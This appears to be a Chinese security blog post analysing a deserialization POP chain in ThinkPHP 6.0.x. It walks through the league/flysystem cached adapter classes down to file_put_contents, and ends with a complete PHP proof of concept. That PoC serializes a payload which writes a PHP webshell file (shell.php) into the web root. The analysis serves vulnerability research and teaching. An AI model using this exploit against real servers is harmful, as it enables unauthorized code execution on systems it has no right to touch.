Hed9eh0g

前进的路上总是孤独的

thinkphp6.0.x 反序列化详记(四)

本文共计有3239个字

前言

最后一条链(目前为止),可能以后还会有更多隐蔽的链被师傅挖出。

环境配置

同上文

POP链构造

寻找__destruct方法

与前两条链相同,仍然是AbstractCache.php中的__destruct方法(/vendor/league/flysystem-cached-adapter/src/Storage/AbstractCache.php):

    public function __destruct()
    {
        if (! $this->autosave) {
            $this->save();
        }
    }

在让autosave=false之后由于抽象类的缘故,仍然需要通过find usage寻找存在save方法的继承类:

这里利用的是Adapter类:

《thinkphp6.0.x 反序列化详记(四)》

跟进save方法

    public function save()
    {
        $config = new Config();
        $contents = $this->getForStorage();

        if ($this->adapter->has($this->file)) {
            $this->adapter->update($this->file, $contents, $config);
        } else {
            $this->adapter->write($this->file, $contents, $config);
        }
    }

首先执行getForStorage()方法返回给contents,跟进该方法。

跟进getForStorage方法

    public function getForStorage()
    {
        $cleaned = $this->cleanContents($this->cache);

        return json_encode([$cleaned, $this->complete, $this->expire]);
    }

执行cleanContents()方法,传入的参数是cache,将结果返回给参数cleaned,跟进该方法。

跟进cleanContents方法

由于本类不存在该方法,所以回去抽象父类寻找:

    public function cleanContents(array $contents)
    {
        $cachedProperties = array_flip([
            'path', 'dirname', 'basename', 'extension', 'filename',
            'size', 'mimetype', 'visibility', 'timestamp', 'type',
        ]);

        foreach ($contents as $path => $object) {
            if (is_array($object)) {
                $contents[$path] = array_intersect_key($object, $cachedProperties);
            }
        }

        return $contents;
    }

仍然是array_fliparray_intersect_key两个处理数组的熟悉操作,详细作用见第二条链的分析。

我们只需要传入$this->cache一个数组原样返回给cleaned,然后通过json_encode方法得到json格式数据,其中内容就包含了我们要写入的shell内容。

回到save方法

执行getForStorage()方法返回给contents之后,进行if判断,先看看if else判断对应的两个方法updatewrite哪一个可以被我们利用。

因此要先寻找既包含hash方法又包含updatewrite的类,发现Local类(/vendor/league/flysystem/src/Adapter/Local.php)可以满足。

所以必须让$this->adapter为Local类。

观察可以知道write方法有file_put_contents操作,因此考虑可以利用它来写入shell。

那么就要先让if判断为false才可以执行write方法

跟进has方法

    public function has($path)
    {
        $location = $this->applyPathPrefix($path);

        return file_exists($location);
    }

首先执行applyPathPrefix后返回给location,跟进该方法。

跟进applyPathPrefix方法

由于该类不存在该方法,所以要去Local的父类AbstractAdapter中寻找:

    public function applyPathPrefix($path)
    {
        return $this->getPathPrefix() . ltrim($path, '\\/');
    }

跟进getPathPrefix方法

    public function getPathPrefix()
    {
        return $this->pathPrefix;
    }

可以控制该父类的pathPrefix,然后ltrim函数去除file左侧的/和\,于是我们可以直接传入一个文件名,然后控制pathPrefix为路径部分。

回到has方法,返回的是file_exists函数结果,我们只需要保证传入的文件名不存在即可,这很容易。

此时即可通过if判断执行write方法

跟进write方法

    public function write($path, $contents, Config $config)
    {
        $location = $this->applyPathPrefix($path);
        $this->ensureDirectory(dirname($location));

        if (($size = file_put_contents($location, $contents, $this->writeFlags)) === false) {
            return false;
        }

        ······
    }

$location即我们刚才分析的$this->file传入applyPathPrefix处理后的文件名,然后$contents即前面通过json_encode处理后带有一句话的json数据,到此链终点,我们即可成功写入文件。

分析一下涉及到的类:

1、抽象类AbstractCache及其子类Adapter

2、Local类及其父类AbstractAdapter

POP预览流程

借用Somnus师傅的图:

《thinkphp6.0.x 反序列化详记(四)》

POC代码

<?php 

namespace League\Flysystem\Cached\Storage{
    abstract class AbstractCache
    {
        protected $autosave = false;
        protected $cache = ["shell"=>"<?php phpinfo();?>"];
    }
}

namespace League\Flysystem\Cached\Storage{
    use League\Flysystem\Cached\Storage\AbstractCache;
    class Adapter extends AbstractCache
    {
        protected $file;
        protected $adapter;

        public function __construct($adapter="")
        {
            $this->file = "shell.php";
            $this->adapter = $adapter;
        }
    }
}

namespace League\Flysystem\Adapter{
    class Local 
    {
        protected $writeFlags = 0;
        //对应file_put_contents的第三个参数
    }
}

namespace{
    $local = new League\Flysystem\Adapter\Local();
    $cache = new League\Flysystem\Cached\Storage\Adapter($local);
    echo urlencode(serialize($cache));
}

 ?>

由于是直接写入,所以shell文件在index.php同目录下,访问同目录下的shell.php即可:

《thinkphp6.0.x 反序列化详记(四)》

参考文章

Somnus师傅的文章

点赞

发表评论

电子邮件地址不会被公开。 必填项已用*标注